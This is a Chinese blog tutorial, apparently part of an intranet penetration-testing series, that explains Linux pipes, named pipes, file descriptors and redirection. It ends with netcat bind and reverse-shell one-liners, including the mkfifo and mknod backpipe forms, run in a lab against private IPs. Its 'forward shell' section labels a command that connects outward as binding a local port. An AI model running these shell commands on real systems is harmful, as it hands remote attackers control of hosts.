前言

作者简介:不知名白帽,网络安全学习者。

博客主页:https://blog.csdn.net/m0_63127854?type=blog

内网渗透专栏:https://blog.csdn.net/m0_63127854/category_11885934.html

网络安全交流社区:https://bbs.csdn.net/forums/angluoanquan

目录

知识点

Linux mkfifo命令基本用法

1.首先了解linux命令执行顺序

2.然后了解下管道命令(pipe)

3.常见管道命令

4.mkfifo则可以创建命名管道

Linux标准文件描述符

更改标准输出的位置

更改标准输入的位置

/dev/null

重定向

输入重定向

输出重定向

管道

环境

01NC正向Shell

02NC反向Shell


知识点

Linux mkfifo命令基本用法

参考链接:

https://www.cnblogs.com/old-path-white-cloud/p/11685558.html

https://www.jianshu.com/p/9c0c2b57cb73

1.首先了解linux命令执行顺序

通常情况下,终端只能执行一条命令,然后按下回车,那么执行多条命令呢

·顺序执行多条命令,可以用分号;

cmd1;cmd2;cmd3

·条件执行多条命令,使用&&(前一个命令执行成功,即$?=0时,执行下一条命令,否则不执行)和||(前一个命令执行失败,既$?≠0时,执行下一条命令)

cmd1&&cmd2||cmd3

·$?:上一次命令的返回结果,0为执行成功,不为0则为执行失败

2.然后了解下管道命令(pipe)

·管道是一种通信机制,用于进程间的通信(也可通过socket进行网络通信),表现出来的形式将前面的每一个进程的输出,直接作为下一个进程的输入

·管道命令仅能处理stdout(标准输出),而error则会忽略

3.常见管道命令

·cut、grep、sort、wc、uniq

·tee:重定向,既能在屏幕输出,又能保存到文件中

·tr、col、join、paste、expand、split

4.mkfifo则可以创建命名管道

什么是命名管道

|(竖线)为管道,是两个进程之间的通信通道

例如:ls|grep txt

ls和grep由|分开,管道创建了程序之间的通信通道,将ls的输出作为输入传给grep

由mkfifo创建出来的就是一个命名管道

例如:mkfifo pipe2

pipe2就是一个命名管道。

命名管道的作用

可以将输出信道化到不同终端

例如:

在第一个终端执行

ls > pipe2

在第二个终端执行

cat < pipe2(或cat pipe2,是取一次。cat < pipe2是持续输入,只要有内容传到pipe2中,就会有内容输出)

pipe2更像是一个临时存储的地方,使用cat pipe2取过内容之后,再执行cat pipe2 ,则不会有显示

识别命名管道

命名管道可以像正常文件一样访问,在文档类型可以看到为p

[root@ricky01 ~]# ll pipe2

prw-r--r-- 1 root root 0 Oct 16 14:53 pipe2

也可以使用chmod设置权限

删除就像正常文件一样使用rm删除即可

Linux常见的文件类型有7种,分别如下所示:

文件属性

文件类型

-

常规文件,即file

d

目录文件

b

block device即块设备文件,如硬盘;支持以block为单位进行随机访问

c

character device 即字符设备文件,如键盘支持以character为单位进行线性访问

l

symbolic link 即符号链接文件,又称软链接文件

p

pipe 即命名管道文件

s

socket 即套接字文件,用于实现两个进程进行通信

Linux标准文件描述符

Linux系统将所有设备都当作文件来处理,而Linux用文件描述符来标识每个文件对象。当Linux启动的时候会默认打开三个文件描述符

文件描述符

缩写

描述

默认设备

0

STDIN

标准输入

默认设备键盘

1

STDOUT

标准输出

默认设备显示器

2

STDERR

标准错误输出

默认设备显示器

·我们与计算机之间的交互是我可以输入一些指令之后它给我一些输出

·文件描述符0理解为我和计算机交互时的输入,而这个输入默认是指向键盘的;

·文件描述符1理解为我和计算机交互时的输出,而这个输出默认是只想显示器的;

·文件描述符2理解为我和计算机交互时,计算机出现错误时的输出,而这个输出默认是和计算机描述符1指向一个位置;

更改标准输出的位置

把标准输出位置更改到test文件中

exec 1> test

更改标准输入的位置

从键盘输入,把输入读入user变量

→ ~ → read user

testtest

→ ~ → echo $user

testtest

把当前标准输出重定向到test文件中

→ ~ → echo '1st' 1> test

→ ~ → cat test

1st

当前标准输入重定向到test文件中

→ ~ → read user 0< test

→ ~ → echo $user

1st

标准错误输出和标准输出的区别是,它在命令出错情况下的输出

exec 2> test

分配自己的文件描述符

→ ~ → exec 5> test

→ ~ → echo 'are you ok?' 1>&5

→ ~ → cat test

把文件描述符5指向test文件,然后把当前输出重定向到文件描述符5(用&引用文件描述符,即找到文件描述符指向的目标文件)

/dev/null

特殊文件,写入的任何东西都会被清空

1.把标准错误输出重定向到/dev/null,从而丢掉不想保存的错误信息

whoami 2>/dev/null

2.快速移除文件中的数据而不用删除文件

cat /dev/null > test

重定向

重定向是把输出定向到文件或者标准流。重定向输入输出本质上就是重定向文件描述符,

输入重定向

<

从文件读取输入

输出重定向

>

将输入保存到文件

>>

将输出追加到文件

管道

|

将一个程序的输出作为输入发送到另一个程序

环境

kali 192.168.0.104

centos7 192.168.0.105

01NC正向Shell

控制端:

nc -lvvp 6666

被控端:

nc -e /bin/sh 192.168.0.104 6666

反弹shell

原理:

被控端使用nc将bin/sh绑定到本地的6666端口·控制端主动连接被控端的6666端口·即可获得shell

02NC反向Shell

没有-e参数反弹shell:

nc -lvvp 6667

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.0.104 6667 > /tmp/f

反弹shell

使用cat /tmp/f命令,linux输入的命令会在centos上呈现

mkfifo命令首先创建了一个管道·cat将管道里面的内容输出传递给/bin/sh·sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc传到该管道·由此形成了一个回路

mknod backpipe p;nc 192.168.0.103 6667 0<backpipe | /bin/bash 1>backpipe 2>backpipe

内网渗透之Linux反弹shell(一)相关推荐

  1. 内网渗透之Windows反弹shell(一)

    前言 作者简介:不知名白帽,网络安全学习者. 博客主页:https://blog.csdn.net/m0_63127854?type=blog 内网渗透专栏:https://blog.csdn.net ...

  2. natapp内网渗透,linux下后台运行,能显示免费隧道的域名和端口号哦

    自己亲测可用哦, 1.NATAPP-内网穿透 基于ngrok的国内高速内网映射工具   官网下载所需版本,并注册,配置自己的免费隧道 2.下载完毕后,把natapp_linux_amd64_2_3_9 ...

  3. linux下敏感文件(账号密码)查找—内网渗透linux主机密码收集

    目录 find命令 命令格式 按照文件/目录名搜索 linux正则表达式 find同时查找符合多个格式的文件 grep命令 管道符| egrep xargs命令 案例 内网渗透中linux主机查找账号 ...

  4. 内网渗透之内网信息收集(综合)

    前言 作者简介:不知名白帽,网络安全学习者. 博客主页:https://blog.csdn.net/m0_63127854?type=blog 内网渗透专栏:https://blog.csdn.net ...

  5. msf监听php反弹shell,使用msf进行反弹shell+内网渗透

    首先说明一点,反弹shell的前提是该主机可以执行咱们的恶意命令 反弹shell的原理与灰鸽子的原理是类似的,就是在靶机上执行一个咱们msf精心构造的客户端,使靶机主动回连咱们攻击机的某个端口.下面开 ...

  6. 红蓝对抗 linux内网渗透

    目录 一.前言 二.提权 2.1 利用内核漏洞进行提权 2.2 利用文件权限配置不当进行提权 2.3 利用SUID程序进行提权 三.隧道 3.1 SSH 3.2 nc/ncat 3.3 portmap ...

  7. linux实验总结及心得_安全实验室 | 内网渗透—Linux权限维持技巧总结

    在上一篇文章中我们介绍了内网渗透中Windows环境下进行权限维持(点击阅读)的方式,本期我们将视角集中在Linux系统中继续对内网渗透中的权限维持方式进行探索.Linux也是在内网渗透中很常见的操作 ...

  8. 渗透测试常用反弹shell方法(如何渗透测试反弹shell?)-Linux篇(゚益゚メ) 渗透测试

    文章目录 相关博客 反弹shell介绍 常用反弹方式 NetCat(NC)反弹 正向NC 反向NC Telnet反弹 正向shell 反向shell OpenSSL Curl 相关博客 Linux信息 ...

  9. 内网渗透-Linux内网渗透

    系列文章目录 文章目录 系列文章目录 一.Linux内网渗透 二.提权 2.1 利用内核漏洞进行提权 2.2 利用文件权限配置不当进行提权 2.3 利用SUID程序进行提权 三.隧道 3.1 SSH ...

最新文章

  1. ISA系列之ISA Server 2004 中的新增功能--利用多个网络
  2. 弯曲圆波导matlab_弯曲波导结构设计
  3. java存储cookie_在java中如何用cookies保存数据?
  4. zookeeper的名词复盘-Stat状态信息
  5. Object address check - Jurisdiction code
  6. FLASH ERASE:CHIP、BLOCK、SECTOR
  7. 走向统一的 .NET 旅程
  8. 华为做raid5步骤_华为验厂验厂流程如何?主要内容是什么呢?
  9. REVERSE-PRACTICE-BUUCTF-16
  10. 【学习笔记】第五章——I/O(设备分类、控制方式、软件层次结构、假脱机、缓冲)
  11. python条件判断true_Python中的True,False条件判断实例分析
  12. android小项目数字拼图游戏_Java小项目之:拼图游戏
  13. JavaScript parseInt() toString()函数
  14. 黑龙江省牡丹江市谷歌高清卫星地图下载
  15. Excel 计算两个日期间相差的天数、月数或年数 DATEDIF函数
  16. win10系统激活提示无法连接到你组织的激活服务器如何解决
  17. requestLayout() improperly called by android.widget.TextView
  18. 【英语:发音基础】A1.元音与辅音
  19. hdu2822(会双搜后再写次)
  20. COB-软封装的一些理解

热门文章

  1. python 将多个df写入xlsx文件的ExcelWriter
  2. 西安学计算机的大学排名,西安计算机专业比较好的高校名单
  3. PS基础操作-帧动画制作-学习记录
  4. 苹果手机说明书_活久见,苹果不配充电器为环保?网友:干脆别发,家里几个手机...
  5. 当代男人泡妞中级教程
  6. NaN 是什么?它的类型是什么?如何可靠地测试一个值是否等于 NaN ?
  7. OCR图片识别文字源码(支持多国文字识别)
  8. 整理了60个 Python 实战例子,拿来即用
  9. 小米 红米NOTE5 线刷兼救砖_解账户锁_纯净刷机包_教程
  10. 《程序员职场第一课》配套课程大纲、免费视频、免费PPT下载地址(包括全部21讲)...